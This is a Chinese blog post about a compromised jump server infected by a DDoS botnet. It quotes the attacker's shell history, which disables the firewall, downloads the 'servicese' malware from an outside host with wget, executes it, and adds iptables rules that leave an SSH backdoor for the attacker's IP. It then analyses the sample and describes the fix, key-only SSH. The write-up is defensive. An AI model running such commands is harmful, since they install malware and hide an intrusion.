当前位置: 首页 > 编程日记 > 正文

一次被僵尸网络病毒攻击的过程

事件背景

回想起来应该算是去年的事情了, 时值 2019 年 1 月 24 日早上, 当时我正忙碌于开发手头的一个珠宝分销系统项目, 由于已经进行了多日封闭式开发, 项目初见效果, 准备放到内网服务器 A 上跑跑看. 项目的一些功能需要通过公网才能访问, 于是便打算通过一台之前就架设在公网的服务器 B上做 SSH 端口转发, 将服务器 A 指定端口映射到服务器 B 上. 多次尝试服务器账号密码进行 SSH 连接, 发现居然一直无法连上, 怕是被其它同事改了密码, 但是询问下发现其它人也无法连上.

初步分析

首先, 不可能是服务器物理机宕机, 因为服务器 B 根本不是一台真正的物理机, 而只是用 Vmware 开出来的一台虚拟机, 由于配置了外网地址的虚拟网卡, 所以可以通过外网访问. 这里说一下, 公司的网络平时都是跑在内网的, 有前辈写好的(也有可能是买其他公司的)的网络管理服务端, 项目本身也只允许跑在内网服务器, 需要外网访问只好用穿透技术. Vmware 的稳定性还是很好的, 上面的其他服务器仍然坚挺. 好在 Vmware 拥有虚拟机的直接控制权限, 发现依然可以使用 root 用户登录服务器 B, 这说明服务器密码尚未修改, 只是 SSH 出于什么原因挂了, 导致无法通过远程 SSH 登录.

直接在 Vmware 管理界面用 root 用户登录, 通过ps auxf命令发现 sshd 进程依然跑得好好的, 最近的 updatetime 是很久之前. 另外, 可以通过ping命令得到服务器的回应. 查看路由器的流量数据, 发现这台服务器居然在短短的 10 多天内有近 3TB 的上传流量. 而这台服务器作为跳板机根本没跑什么其它高流量的服务, 显然这台服务器是被攻击了.

先使用netstat -anp命令查看 TCP 连接情况, 发现这台服务器已经和182.100.67.***, 和 23.234.14.**两台意义不明的服务器建立了连接, 查看 whois 发现 182.100.67.***是属于江西新余的IP, 而23.234.14.**居然是美国洛杉矶的. 看来攻击者为了攻击花了不少心思, 寻思用匿名的跳板机来混淆视线. 介于此时已经无法使用 SSH 远程登录, 攻击者应该是针对 sshd 做了什么动作, 攻击者八成是已经拿到 Shell 了, 而且由于监测到异常流量, 攻击者应该是在这台服务器中跑了什么病毒进程, 无奈ps auxf 列出的进程较多, 很多还是系统进程, 一时不好判断哪个是病毒进程. 查看 user 发现除了 root 没有新的用户被新建, 就打算用history看看会不会记录攻击者的攻击痕迹, 结果是, 居然没有.

发现攻击方式

但是要注意到 linux 的history是会话隔离的, 同一个用户用不同的会话登录, 不同的会话有不同的命令历史, 只有在所有会话关闭之后才会将不同会话的历史合并, 比如:

session A:
$ echo session_a
$ history    
1  echo session_a
2  history# 不关闭 session A, session B 无法拿到 session A 的历史
session B:
$ echo session_b
1  echo session_b
2  history# 关闭 session A 和 session B 之后 打开 session C:
session c:
$ history
1 echo session_a
2 history
3 echo session_b
4 history

也就是说, 如果攻击者仍然与这台服务器保持着 SSH 连接, 是无法看到命令行历史的. 于是重启 sshd 进程强制中断连接. 再次连接, 这时发现了不得了的事情, 下面是攻击者的关键命令行历史(一些无用的命令删掉了):

56  shutdown -h now
57  netstat -anp|grep 443
58  vi /etc/ssh/sshd_config 
59  service sshd restart60  netstat -anp|grep 443
61  kill 2322
64  ifconfig
65  tcpdump -i ens160 port 443 -nn -s0 66  systemctl status firewalld 
67  systemctl stop firewalld
68  systemctl disable firewalld71  netstat -anp|grep ssh
72  kill -9 2396
73  netstat -anp|grep ssh
89  service sshd restart90  cd /usr/bin
91  wget http://23.234.14.**:12345/servicese
92  chmod 777 servicese
93  ./servicese96  ifconfig
97  iptables -I INPUT -p tcp --dport 22 -j DROP
98  iptables -I INPUT -s 182.100.67.*** -p tcp --dport 22 -j ACCEPT

看这些命令, 操作很流畅.

  1. 首先 vi /etc/ssh/sshd_config 修改 sshd 配置, 估计攻击者意图查看 sshd 的连接方式.
  2. 然后查看运行在 443 端口的进程并杀死, 这很奇怪, 印像中这服务器当初并没有在 443 跑什么东西, 攻击者为了保证 443 没有连接还用tcp dump抓取网卡的 443 端口的包.
  3. 之后攻击者关闭了防火墙firewalld.
  4. 攻击者再次重启了 sshd.
  5. 关键的地方, 攻击者开始注入病毒程序, 进入/usr/bin, 使用wgethttp://23.234.14.**:12345把病毒程序servicese下载, 更改权限为777使程序能够被执行, ./servicese运行病毒程序.
  6. 可耻的地方, 攻击者之前关闭了firewalld防火墙, 这里居然使用iptables加入 IP 限制, 把所有连接到 22 端口的 TCP 连接都拒掉, 即: iptables -I INPUT -p tcp --dport 22 -j DROP, 这直接导致之前无法通过 ssh 远程连接上, 但是攻击者留了一个后门, 就是允许182.100.67.***这个 IP 通过 22 端口进行 ssh 连接, 也就是之前查到的江西新余的 IP.

现在攻击者的攻击方式很明了, 看起来攻击者并没有想象中的高明, 也从进程中找到了servicese进程, 说实话, servicese这个程序名还是有点意思的, 因为和系统的守护进程service长得比较像, 导致无法一眼看出这个程序有什么不对劲. 后面用 nmap 对美国的 IP 和新余的 IP 进行端口扫描了一下, 发现新余机子是一台 windows2008, 确实应该是攻击者用来攻击并连接的服务器, 而美国的服务器只是一个 http 服务器, 提供病毒程序的下载源地址. 发现被攻击的时候, http://23.234.14.**:12345依然可以访问, 可以直接从那里下载病毒程序, 不过现在是被攻击者主动关闭, 无法访问.

那么攻击者是如何拿到服务器的权限呢? 说起来也有点丢人, 猜测应该是暴力破解了. 因为这台服务器平时只是作为跳板机, 所以连接密码是弱密码, 很容易通过彩虹表或者试错 猜出来. 这里告诫各位: 代码千万行, 安全第一条, 密码太弱鸡, 开发两行泪.

分析病毒样本

现在要确定病毒程序servicese到底对服务器做了什么. 使用tail命令查看servicese二进制文件的最后几行的内容, 发现了:

gnu_cxx15__mt_alloc_baseIjE9constructEPjRKj_ZNSt13runtime_errorC1ERKSs_nl_load_locale_from_archivewctrans_ZTS8CSubTask_ZNKSt12_Vector_baseIP14CThreadHttpGetSaIS1_EE13get_allocator

gnu_cxx15,runtime_error,Vector_baseIP14CThread等词直接表明这是一个使用 CPP 编写的程序, 于是采用 C 语言强大的反编译神器 IDA 对源程序进行反编译, 看能不能找到什么线索. 这里注意, 当病毒程序被从服务器拷贝到本地 windows 的时候, 直接就被 windows defender 给清理掉了, 可见这应该是一个已经被记录在案的病毒程序.

我并不打算详细说 IDA 的分析过程, 只是在审查病毒程序的函数时发现了名为MainBeikong的函数, 然后网上一搜, 就发现了 360 团队发出的这篇文章:某僵尸网络被控端恶意样本分析. 这篇文章描述的病毒样本和我手上的这个病毒程序有惊人的相似度:

  1. 都是 1223123 字节, 但是 MD5 貌似不一样, 我这边的是cde16928b968cb087c961a258ba45442, 文章给出的是 EFF1CB4E98BCC8FBCBDCA671D4C4A050, 应该是有改动;
  2. 使用readelf获得的源代码文件名完全一致;
  3. 病毒的攻击目标相似: 网络中bot节点多是一些存在弱口令或软件漏洞的 linux 主机, 这台服务器属于弱口令目标.
  4. 攻击后端症状相似, 病毒在获得服务器控制权后会执行对外 DDOS 攻击, 也就是说此时服务器称为了攻击者的肉鸡, 攻击者可以使用服务器的 CPU 资源和网路资源对其它服务器进行流量攻击, 其攻击力度可以参考 360 团队那篇文章描述的, 这也就是为什我这边的路由器会有高额的异常流量.

下面是readelf的结果:
图片描述

正如 360 团队那篇文章所言:

通过此样本可以发现黑产团队的 DDoS 攻击实力已经到了"比较娴熟"的地步, 而根据样本中不同部分的不同代码风格猜测黑产团队可能存在多人多团队合作的编程方式或"黑吃黑"的代码盗用情况

可见现在的互联网攻击确实不容小觑, 必须时刻注意安全问题.

事后解决方案

在了解到了该病毒程序的主要功能之后, 自然是不能让它继续作恶了, 在和同事交流之后决定采用比较彻底的方式: 把相关的攻击细节备份留作警示后直接关闭这个 Vmware 的虚拟机, 然后新开一台虚拟机代替原来的, 新的服务器不采用 ssh 账号密码登录, 而是直接采用证书的形式访问. 也就是编辑/etc/ssh/sshd_config为:

PasswordAuthentication no

然后为服务器生成证书, 详细过程可以参考: 设置 SSH 通过密钥登录,
一般而言密钥登录是不容易被攻破的.

相关文章:

c2 链路_POS链路不能打开的解决办法

介绍的是POS链路不能打开的解决办法,其原因是C2字节不匹配,这里以华为路由器为组网环境。一、网络环境路由器A有GE接口和2.5G POS接口与其他路由器连接,启动路由器A后,发现GE端口的状态为正常开启,但2.5G POS端口无法开…

“寒冬”下的金三银四跳槽季来了,帮你客观分析一下局面

如果第二次看到我的文章,欢迎下方扫码订阅我的个人公众号(跨界架构师)哟~本文长度为5723字,建议阅读15分钟。坚持原创,每一篇都是用心之作~这是一篇以程序员视角写的文章,但是内容是互联网行业通…

TCP拥塞控制算法内核实现剖析(二)

内核版本:2.6.37 主要源文件:linux-2.6.37/ net/ ipv4/ tcp_bic.c 本文主要分析BIC算法实现 1. 相关结构体和参数 /* BIC TCP Parameters */struct bictcp {u32 cnt ; /* increase cwnd by 1 after ACKs */u32 last_max_cwnd ; /* last maximum snd_cw…

关于IOS中的self关键字

在C#、Java中都有一个关键字this用于表示当前对象,其实在ObjC中也有一个类似的关键字self,只是self不仅可以表示当前对象还可以表示类本身,也就是说它既可以用在静态方法中又可以用在动态方法中。-(void)setName:(NSString *)name andAge:(in…

中值定理符号怎么读_微分、微分中值定理、泰勒公式

问对问题,找对方法,做对的事~ 黑莓 2020/10/09 温习001-031逻辑、集合、空间 线性代数00线性代数研究什么内容?-上海交大032-047行列式的定义、性质与计算10/03048-078矩阵的定义、运算10/03079-117可逆矩阵、初等变换与秩10/04…

Java高级特性增强-多线程

请戳GitHub原文: https://github.com/wangzhiwub... 大数据成神之路系列: 请戳GitHub原文: https://github.com/wangzhiwub... Java高级特性增强-集合 Java高级特性增强-多线程 Java高级特性增强-Synchronized Java高级特性增强-volatile Java高级特性增强-并发集合…

微软企业库4.1学习笔记(八)创建对象 续集2

3.3通过配置指定和Unity的整合 另外一种方法是在配置源中指定配置的需要,你可以指定下面的一条或者多条: 你可以在Unity配置中指定想要的BlockExtensions  你可以在Unity配置中的type配置节指定如何创建企业库对象,指定类型映射的关系&…

Kali Linux python 安装pip

安装pip:apt-get install python-setuptoolseasy_install pippip install xxxx转载于:https://www.cnblogs.com/arhatlohan/p/4737828.html

3dmax图像采样器抗锯齿_内幕揭秘!同样的场景同一张图,用3DMAX网渲平台进行二次渲染时间竟然相差3个小时之多!...

一个分辨率:4000*2000的室内客餐厅,3dmax版本是2014版本,渲染器版本为vray3.63,机器:阿里云1台服务器,这个同样的场景同样的参数同一张图,用3dmax网渲平台进行二次渲染发现时间相差了将近3个小时之多&#…

2015/8/18

一、git, switch to找不到师傅新创的branch 解决方法:切到git视图去pull,然后切回java视图,再Team->switch to,就能找到了 二、在师傅的环境中能successful,在我的环境中却是failed 解决方法:eclipse-&g…

Javascript - prototype、__proto__、constructor

最近看了很多文章,想要更通透的搞懂JS中的prototype、__proto__与constructor属性,从各个博主的文章里摘取了我认为可以有助于理解的一些内容,希望自己能够掌握好这一重要知识点的同时也帮助到大家,具体内容请见下文。 &#xff0…

DOS下读取4GB内存

好文章我收集下起来 CPU上电后,从ROM 中的BIOS开始运行。 BIOS是处在内存的最顶端64KB(FFFF0000H),还是1MB之下的64KB(F0000H)处呢?事实上,BIOS在这两个地方都同时出现。 在保护模式…

7纳米duv和euv_要超车台积电 三星宣布采用EUV技术7纳米制程完成验证

在晶圆代工市场,台积电与三星的竞争始终是大家关心的戏码。三星虽然有高通等VIP客户,但在7纳米制程节点,高通预计会转投台积电,三星要想受更多客户的青睐,只能从制程技术着手了。这也是三星跳过非EUV技术的7纳米制程&a…

HDU 1711 Number Sequence(KMP算法)

题目链接:http://acm.hdu.edu.cn/showproblem.php?pid1711 Number Sequence Time Limit: 10000/5000 MS (Java/Others) Memory Limit: 32768/32768 K (Java/Others) Total Submission(s): 15548 Accepted Submission(s): 6836Problem DescriptionGiven two s…

分享45款高质量的免费(X)HTML/CSS模板

当你需要在短时间内设计出一个网站的时候,网站模板就非常有用了。这也就是为什么这些设计模板已成为设计领域的最新趋势的原因。在这篇文章中,收集了各式各样的网站模板,您可以免费下载使用,希望这些设计模板不仅带给您灵感&#…

运维开发笔记整理-前后端分离

运维开发笔记整理-前后端分离 作者:尹正杰 版权声明:原创作品,谢绝转载!否则将追究法律责任。 一.为什么要进行前后端分离 1>.pc, app, pad多端适应 2>.SPA开发式的流行(单页Web应用(single page we…

初识mysql数据字段属性_MySQL数据库~~~~初识、基础数据类型

一 数据库初识1.1 什么是数据库数据库(DataBase,简称DB),简而言之可视为电子化的文件柜----存储电子文件的处所,用户可以对文件中的数据运行新增,截取,更新,删除等操作. 所谓数据库是以一定方式储存在一起,能予多个用户 共享,具有尽可能小的冗余度,与应用程序彼此独立的数据集合…

WinForm导出文件,你懂的……

好久没有写文章了,下面把自己最近程序中用到的一个小小的导出文件的方法给在家分享一下,欢迎大家来排砖,谢谢~不说废话了,直接上代码: 1 using System; 2 using System.Collections.Generic; 3 using System.Linq; …

PL/SQL第五章 Order by排序

1 -- 排序2 -- 1、列明排序3 -- 2、别名排序4 -- 3、列位置排序(当使用union,union all,intersect,minus集合操作,列明不同,但希望排序)5 SELECT deptno,dname FROM dept UNION6 SELECT empno,ename FROM emp7 ORDER BY 1 DESC;8 …

想转行学python过来人提醒大家几点

因为目前python非常火,应用也非常广泛,是目前最火的行业之一,竞争很大,工资很高,未来发展也极好。 首先告诉你,零基础学习python难度还是有的,python的专业程度本身就不简单,学习这事…

mysql答题表设计_PHP+MYSQL问答系统中的提问和回答的表怎么设计

展开全部PHPMYSQL 的问答系32313133353236313431303231363533e78988e69d8331333337396236统的设计与实现,问答系统简而言之 就是一个网上交流系统,针对学校这个特定环境,以学生和老师为主体,以实验室信息交流为话题而建立起的一个…

Android实时获取音量(单位:分贝)

基础知识 度量声音强度,大家最熟悉的单位就是分贝(decibel,缩写为dB)。这是一个无纲量的相对单位,计算公式如下: 分子是测量值的声压,分母是参考值的声压(20微帕,人类所能…

排序算法 - 堆排序

堆排序是指利用堆这种数据结构所设计的一种排序算法。 类型:选择排序时间复杂度(最坏):O(nlogn)时间复杂度(最好):O(nlogn)时间复杂度(平均):O(nlogn)空间复杂…

textContent与innerText的不同(转发)

textContent与innerText的不同 IE下有个innerText属性,FF下有个textContent属性。很多以前给IE写脚本的,在FF下找不到innerText属性,于是网上搜到的建议是用textContent来替代。反之给FF写脚本的也一样。 但是实际上,这里有个误解…

mysql插入性能_mysql 数据量大时插入和查询性能

现在mysql中有数据33.8w的数据,然后做查询和更新或插入操作,速度很慢,基本100条数据就要1.68s。好慢啊,我要测试一下,到底慢在哪?能不能提高点速度?参考一篇博文:http://blog.csdn.n…

Ext JS 4 笔记1

ExtJS4 引入了现在灰常流行的前端MVC。这在原本的3.3.1里面是没有的。原先项目里为了实现相对的MVC,自己写了一个controller和model ,收集并且保持JS端的数据。所以呢,这时候的文档结构就完全不一样了。原本的结构更像是传统 C# winform &…

activemq 消息阻塞优化和消息确认机制优化

一、消息阻塞优化 1.activemq消费者在从待消费队列中获取消息是会先进行预读取,默认是1000条(prefetch1000)。这样很容易造成消息积压。 2.可以通过设置prefetch的默认值来调整预读取条数,java代码如下 //设置预读取为1ActiveMQPr…

iOS-查询数据库--指定数据表中的当前数据行的总数量

很多时候,我们在查询一个表的时候,不想得到里面的记录内容,只是想简单的得到符合查询条件的记录条数。 FMDB中有一个很简单的方法就可以实现,见下面的代码实例: #import "FMdatabase.h" (int)numberOfCurre…

mysql 判断日期是否在某范围内_判断时间是否在某个区间内

private bool IsInTimeInterval(DateTime time, DateTime startTime, DateTime endTime) {//判断时间段开始时间是否小于时间段结束时间,如果不是就交换 if (startTime > endTime) {DateTime tempTime = startTime; startTime = endTime; endTime = tempTime; } //获取以公…

数据库索引-基本知识

为什么80%的码农都做不了架构师?>>> 数据库索引--基本知识 有许多因素会影响数据库性能。最明显的是数据量:您拥有的数据越多,数据库的速度就越慢。虽然有很多方法可以解决性能问题,但主要的解决方案是正确索引数据库…